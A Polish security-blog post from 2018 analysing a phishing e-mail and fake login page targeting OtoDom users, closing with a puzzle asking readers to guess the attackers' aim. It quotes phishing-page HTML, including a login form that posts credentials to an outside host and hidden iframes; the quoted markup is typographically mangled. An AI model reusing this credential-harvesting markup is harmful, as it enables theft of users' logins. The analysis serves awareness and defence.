O co chodzi przestępcom – zagadka dla Czytelników

dodał 23 marca 2018 o 16:36 w kategorii Info  z tagami:
O co chodzi przestępcom – zagadka dla Czytelników

Czasem trafiamy na internetowe ataki, co do których jesteśmy pewni tylko dwóch rzeczy: tego, że jest to atak, oraz tego, że nie mamy pojęcia, co jest celem atakujących. Czasem zatem na CSI:ZaufanaTrzeciaStrona – ruszajcie do boju.

Zaczyna się jak wiele podobnych historii – po prostu od e-maila. Potem jest mały phishing z dziwnymi wstrzyknięciami kodu, a potem… sami nie wiemy co dalej. Może ktoś z Was będzie miał lepszy pomysł, co jeszcze można sprawdzić i czego poszukać – bo my nigdy wcześniej phishingu na OtoDom nie widzieliśmy.

Wiadomość do ogłoszenia

Taki tytuł nosiła wiadomość, która dotarła do naszego Czytelnika. Wyglądała tak:

Jedynie link „Odpowiedz” prowadzi do innej strony niż oryginalna, a mianowicie do:

Nagłówki wiadomości wyglądają następująco:

Z kolei pod linkiem czeka zwykły phishing:

Wykonaliśmy kopię pełnego kodu źródłowego strony phishingowej na wypadek, gdyby zniknęła – na razie działa. Najciekawsze fragmenty to:

<img width=”1″ height=”1″ style=”border:0″ src=”HTTP://bs.serving-sys.com/Serving/ActivityServer.bs?cn=as&amp;ActivityID=694722&amp;ns=1″/>

<form novalidate=”novalidateid=”loginFormclass=”form form-horizontal form-loginmethod=”postaction=”http://idahoforests.org/card/resources/css/cssgo_down.php„>

<iframe src=”nh1oh0k63yz.js” style=”border: medium none;tabindex=”-1title=”Facebook Cross Domain Communication Framearia-hidden=”trueid=”fb_xdm_frame_httpsscrolling=”noallowfullscreen=”trueallowtransparency=”truename=”fb_xdm_frame_httpsframeborder=”0„></iframe>

<iframe src=”tags_001″ scrolling=”nostyle=”display: none;frameborder=”0height=”1width=”1„></iframe><iframe src=”lsget.html” scrolling=”nostyle=”display: none;frameborder=”0height=”1width=”1„></iframe>

Zagadka

Czy przestępcom chodzi tylko o hasła do serwisu OtoDom? Jeśli tak, to do czego mogą je wykorzystać? Na czym ma polegać przestępstwo?

Jeśli chodzi o coś więcej lub coś innego, to do czego zmierzają ich działania? Liczymy na Waszą dociekliwość!